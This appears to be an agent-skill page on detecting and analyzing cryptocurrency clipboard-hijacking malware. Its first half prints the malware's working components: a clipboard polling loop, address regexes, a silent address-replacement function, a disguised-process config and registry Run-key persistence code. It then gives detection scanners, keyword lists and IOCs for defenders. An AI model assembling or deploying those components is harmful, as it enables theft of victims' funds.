# Crypto Clipper Malware Detection

> Detect and analyze cryptocurrency clipboard hijacking malware patterns, regex-based address detection, and cross-platform clipboard monitoring techniques

- Skill: `aradotso/crypto-clipper-malware-detection` (Agent Skill)
- Install (CLI): `npx skillmds@latest add aradotso/crypto-clipper-malware-detection`
- Raw SKILL.md: https://api.skillmd.com/api/skills/aradotso/crypto-clipper-malware-detection/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: aradotso (https://skillmd.com/u/aradotso)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/aradotso/crypto-clipper-malware-detection

---


# Crypto Clipper Malware Detection

> Skill by [ara.so](https://ara.so) — Devtools Skills collection.

## ⚠️ Security Notice

**This project is MALWARE** designed to steal cryptocurrency by hijacking clipboard contents. It is documented here **ONLY** for:

- Security research and malware analysis
- Building detection mechanisms
- Understanding attack patterns for defensive purposes
- Educational cybersecurity training

**DO NOT deploy this for malicious purposes. Doing so is illegal and unethical.**

## What This Project Does

Crypto-Clipper is a cross-platform clipboard monitoring malware that:

1. **Monitors clipboard** continuously via polling (default 500ms intervals)
2. **Detects cryptocurrency addresses** using regex patterns for BTC, ETH, SOL, TRX, LTC, DOGE
3. **Replaces detected addresses** with attacker-controlled addresses from an address book
4. **Validates formats** including EIP-55 checksum, Base58, SegWit, Taproot
5. **Logs activity** to track successful replacements
6. **Persistence mechanisms** via Windows registry auto-start hooks
7. **Process disguise** by masquerading as legitimate system processes

## Detection Patterns

### Clipboard Monitoring Behavior

The malware uses pyperclip polling with background threads:

```python
# Detection signature: High-frequency clipboard polling
import pyperclip
import time
import threading

def monitor_clipboard(interval_ms=500):
    """Malicious clipboard monitoring pattern"""
    last_content = ""
    while True:
        try:
            current = pyperclip.paste()
            if current != last_content:
                # Pattern: Immediate processing of clipboard changes
                process_clipboard_content(current)
                last_content = current
        except:
            pass
        time.sleep(interval_ms / 1000)
```

**Detection indicators:**
- Continuous pyperclip.paste() calls in tight loop
- Background thread dedicated to clipboard monitoring
- No user-initiated triggers for clipboard access

### Cryptocurrency Address Regex Patterns

```python
# Address detection patterns used by the malware
CRYPTO_PATTERNS = {
    "bitcoin": {
        "legacy": r"^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$",
        "segwit": r"^bc1q[a-z0-9]{38,58}$",
        "taproot": r"^bc1p[a-z0-9]{58}$"
    },
    "ethereum": {
        "evm": r"^0x[a-fA-F0-9]{40}$"
    },
    "solana": {
        "base58": r"^[1-9A-HJ-NP-Za-km-z]{32,44}$"
    },
    "tron": {
        "base58": r"^T[1-9A-HJ-NP-Za-km-z]{33}$"
    },
    "litecoin": {
        "legacy": r"^[LM][a-km-zA-HJ-NP-Z1-9]{26,33}$",
        "segwit": r"^ltc1[a-z0-9]{39,59}$"
    },
    "dogecoin": {
        "legacy": r"^D[5-9A-HJ-NP-U][1-9A-HJ-NP-Za-km-z]{32}$"
    }
}
```

### Address Replacement Engine

```python
# Malicious clipboard injection pattern
def inject_malicious_address(detected_chain, original_address):
    """
    MALWARE BEHAVIOR: Replaces legitimate crypto addresses
    """
    address_book = load_address_book()
    
    # Find matching chain in attacker's address book
    for entry in address_book:
        if entry["chain"] == detected_chain:
            malicious_addr = entry["address"]
            
            # Silent clipboard replacement
            pyperclip.copy(malicious_addr)
            
            # Log the theft attempt
            log_replacement(original_address, malicious_addr, detected_chain)
            
            return True
    return False
```

## Configuration Structure

The malware uses `config.json` for operational parameters:

```json
{
    "build": {
        "target_os": "windows",
        "output_name": "clip_monitor.exe",
        "process_name": "rdpclip",
        "startup_method": "registry",
        "registry_key": "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
    },
    "chains": {
        "bitcoin": {
            "enabled": true,
            "prefix": ["1", "3", "bc1"]
        },
        "ethereum": {
            "enabled": true,
            "prefix": ["0x"]
        }
    },
    "address_book": [
        {
            "label": "Attacker BTC",
            "chain": "bitcoin",
            "address": "1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa"
        }
    ],
    "detection": {
        "sensitivity": "high",
        "min_address_length": 26,
        "max_address_length": 62,
        "clipboard_watch_interval_ms": 500
    }
}
```

**Detection indicators:**
- Address book with multiple crypto chains
- Registry persistence configuration
- Process name disguise settings
- Clipboard polling interval configuration

## Persistence Mechanisms

### Windows Registry Auto-Start

```python
# Malware persistence via Windows registry
import winreg
import os

def install_persistence(exe_path, disguise_name="rdpclip"):
    """
    MALWARE BEHAVIOR: Registry-based persistence
    """
    reg_key = r"Software\Microsoft\Windows\CurrentVersion\Run"
    
    try:
        key = winreg.OpenKey(
            winreg.HKEY_CURRENT_USER,
            reg_key,
            0,
            winreg.KEY_SET_VALUE
        )
        
        winreg.SetValueEx(
            key,
            disguise_name,
            0,
            winreg.REG_SZ,
            exe_path
        )
        
        winreg.CloseKey(key)
        return True
    except Exception as e:
        return False
```

**Detection indicators:**
- Unauthorized registry modifications in Run keys
- Process names mimicking system processes (rdpclip, svchost, etc.)
- Executable paths in unexpected locations

## Building Defensive Tools

### Address Validation Function

```python
import re

def validate_crypto_address(address, chain):
    """
    Defensive: Validate crypto address format before use
    """
    patterns = {
        "bitcoin": r"^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,62}$",
        "ethereum": r"^0x[a-fA-F0-9]{40}$",
        "solana": r"^[1-9A-HJ-NP-Za-km-z]{32,44}$"
    }
    
    if chain not in patterns:
        return False
    
    return bool(re.match(patterns[chain], address))
```

### Clipboard Monitoring Detection

```python
import psutil
import time

def detect_clipboard_monitoring_processes():
    """
    Security tool: Identify processes with suspicious clipboard access
    """
    suspicious_indicators = []
    
    for proc in psutil.process_iter(['name', 'cmdline', 'num_threads']):
        try:
            # Check for pyperclip in command line
            cmdline = ' '.join(proc.info['cmdline'] or [])
            
            if 'pyperclip' in cmdline.lower():
                suspicious_indicators.append({
                    'pid': proc.pid,
                    'name': proc.info['name'],
                    'cmdline': cmdline,
                    'reason': 'Pyperclip usage detected'
                })
            
            # Check for disguised process names
            disguise_names = ['rdpclip', 'clipman', 'clip_monitor']
            if proc.info['name'].lower() in disguise_names:
                if not is_legitimate_system_process(proc):
                    suspicious_indicators.append({
                        'pid': proc.pid,
                        'name': proc.info['name'],
                        'reason': 'Disguised process name'
                    })
                    
        except (psutil.NoSuchProcess, psutil.AccessDenied):
            continue
    
    return suspicious_indicators
```

### Address Book Comparison Tool

```python
import difflib

def detect_address_replacement(original, current):
    """
    Security tool: Detect if clipboard address was replaced
    
    Returns: (is_replaced, similarity_score, chain_type)
    """
    # Check if both are valid crypto addresses
    chains = ["bitcoin", "ethereum", "solana", "tron"]
    
    original_chain = None
    current_chain = None
    
    for chain in chains:
        if validate_crypto_address(original, chain):
            original_chain = chain
        if validate_crypto_address(current, chain):
            current_chain = chain
    
    # Both valid addresses but different chains = suspicious
    if original_chain and current_chain and original_chain != current_chain:
        return (True, 0.0, f"{original_chain} -> {current_chain}")
    
    # Same chain but different addresses
    if original_chain == current_chain and original != current:
        similarity = difflib.SequenceMatcher(None, original, current).ratio()
        return (True, similarity, original_chain)
    
    return (False, 1.0, None)
```

## Malware Analysis Workflow

### 1. Static Analysis

```python
import json
import os

def analyze_clipper_config(config_path):
    """
    Analyze clipper configuration for threat assessment
    """
    with open(config_path, 'r') as f:
        config = json.load(f)
    
    report = {
        "targeted_chains": [],
        "persistence_methods": [],
        "attacker_addresses": [],
        "disguise_techniques": [],
        "risk_level": "UNKNOWN"
    }
    
    # Extract targeted chains
    for chain, settings in config.get("chains", {}).items():
        if settings.get("enabled"):
            report["targeted_chains"].append(chain)
    
    # Extract attacker addresses
    for entry in config.get("address_book", []):
        report["attacker_addresses"].append({
            "chain": entry["chain"],
            "address": entry["address"],
            "label": entry.get("label", "")
        })
    
    # Extract persistence methods
    if config.get("build", {}).get("startup_method") == "registry":
        report["persistence_methods"].append("Windows Registry Run Key")
    
    # Extract disguise techniques
    process_name = config.get("build", {}).get("process_name", "")
    if process_name:
        report["disguise_techniques"].append(f"Process masquerading as '{process_name}'")
    
    # Risk assessment
    num_chains = len(report["targeted_chains"])
    num_addresses = len(report["attacker_addresses"])
    
    if num_chains >= 4 and num_addresses >= 4:
        report["risk_level"] = "CRITICAL"
    elif num_chains >= 2:
        report["risk_level"] = "HIGH"
    else:
        report["risk_level"] = "MEDIUM"
    
    return report
```

### 2. Dynamic Analysis (Sandboxed)

```python
import subprocess
import json
from datetime import datetime

def sandbox_clipper_execution(clipper_path, duration_seconds=60):
    """
    Run clipper in monitored sandbox environment
    WARNING: Only run in isolated VM/container
    """
    log = {
        "start_time": datetime.now().isoformat(),
        "clipboard_access_count": 0,
        "registry_modifications": [],
        "network_connections": [],
        "file_operations": []
    }
    
    # Monitor with process tracking (pseudo-code - use actual sandbox)
    # This should run in a completely isolated environment
    
    return log
```

## Common Detection Evasion Techniques

The malware employs several evasion strategies:

1. **Process Name Disguise**: Mimics legitimate Windows processes (rdpclip, svchost)
2. **Low Polling Frequency**: Configurable intervals to reduce CPU footprint
3. **Silent Failures**: Catches all exceptions to avoid crashes
4. **Legitimate-Looking Paths**: Uses system directories for deployment
5. **No Network Activity**: Purely local operation to avoid firewall alerts

## Defensive Measures

### User-Level Protection

```python
import hashlib
import time

class ClipboardProtector:
    """
    User-level clipboard protection against hijacking
    """
    def __init__(self):
        self.last_hash = None
        self.verification_window_ms = 1000
    
    def protect_copy(self, text):
        """
        Copy with verification to detect replacement
        """
        import pyperclip
        
        # Copy to clipboard
        pyperclip.copy(text)
        time.sleep(0.1)  # Brief delay
        
        # Verify what's actually in clipboard
        actual = pyperclip.paste()
        
        if actual != text:
            raise SecurityException(
                f"Clipboard hijacking detected!\n"
                f"Expected: {text[:20]}...\n"
                f"Found: {actual[:20]}..."
            )
        
        # Store hash for periodic verification
        self.last_hash = hashlib.sha256(text.encode()).hexdigest()
        
        return True
    
    def verify_clipboard(self):
        """
        Periodic verification of clipboard contents
        """
        import pyperclip
        
        current = pyperclip.paste()
        current_hash = hashlib.sha256(current.encode()).hexdigest()
        
        if self.last_hash and current_hash != self.last_hash:
            return False  # Clipboard was modified
        
        return True

class SecurityException(Exception):
    pass
```

### System-Level Detection

```python
import os
import winreg

def scan_for_clipper_persistence():
    """
    Scan Windows registry for clipper persistence entries
    """
    suspicious_entries = []
    
    reg_locations = [
        (winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Run"),
        (winreg.HKEY_LOCAL_MACHINE, r"Software\Microsoft\Windows\CurrentVersion\Run"),
    ]
    
    for root_key, subkey_path in reg_locations:
        try:
            key = winreg.OpenKey(root_key, subkey_path, 0, winreg.KEY_READ)
            
            i = 0
            while True:
                try:
                    name, value, _ = winreg.EnumValue(key, i)
                    
                    # Check for suspicious patterns
                    suspicious_keywords = ['clip', 'monitor', 'rdpclip', 'clipman']
                    
                    if any(kw in name.lower() for kw in suspicious_keywords):
                        if not is_legitimate_path(value):
                            suspicious_entries.append({
                                'location': f"{root_key}\\{subkey_path}",
                                'name': name,
                                'path': value
                            })
                    
                    i += 1
                except OSError:
                    break
            
            winreg.CloseKey(key)
        except FileNotFoundError:
            continue
    
    return suspicious_entries

def is_legitimate_path(path):
    """Check if executable path is in legitimate system location"""
    system_paths = [
        os.environ.get('WINDIR', 'C:\\Windows'),
        os.path.join(os.environ.get('PROGRAMFILES', 'C:\\Program Files')),
        os.path.join(os.environ.get('PROGRAMFILES(X86)', 'C:\\Program Files (x86)'))
    ]
    
    for sys_path in system_paths:
        if path.lower().startswith(sys_path.lower()):
            return True
    
    return False
```

## Indicators of Compromise (IOCs)

### File System Indicators

```python
IOC_FILE_PATTERNS = [
    "clip_monitor.exe",
    "rdpclip.exe (in non-system paths)",
    "config.json (with address_book entries)",
    "scan.bin (embedded runtime)",
    "*.log (with crypto address patterns)"
]
```

### Network Indicators

```python
# Most clippers are fully offline, but some variants may beacon
IOC_NETWORK_PATTERNS = [
    "HTTP POST with base64-encoded crypto addresses",
    "Connections to crypto validation APIs",
    "TLS connections with clipboard data in payload"
]
```

### Behavioral Indicators

```python
BEHAVIORAL_IOCS = {
    "clipboard_polling": "High-frequency pyperclip.paste() calls",
    "registry_modification": "Unauthorized Run key entries",
    "process_disguise": "Non-system process with system process name",
    "address_replacement": "Clipboard crypto address changes without user action",
    "silent_execution": "No visible UI but continuous background activity"
}
```

## Responsible Disclosure

If you discover this malware active in the wild:

1. **Do not engage** with the malware directly
2. **Document** the configuration, addresses, and behavior
3. **Report** to relevant cryptocurrency exchanges to flag attacker addresses
4. **Notify** antivirus vendors with samples for signature updates
5. **Alert** affected users through appropriate channels

## Conclusion

This skill provides the knowledge to **detect and analyze** cryptocurrency clipboard hijacking malware. Use this information exclusively for:

- Security research
- Building defensive tools
- Educating users about threats
- Improving detection mechanisms

**Never deploy clipboard hijacking malware for malicious purposes.**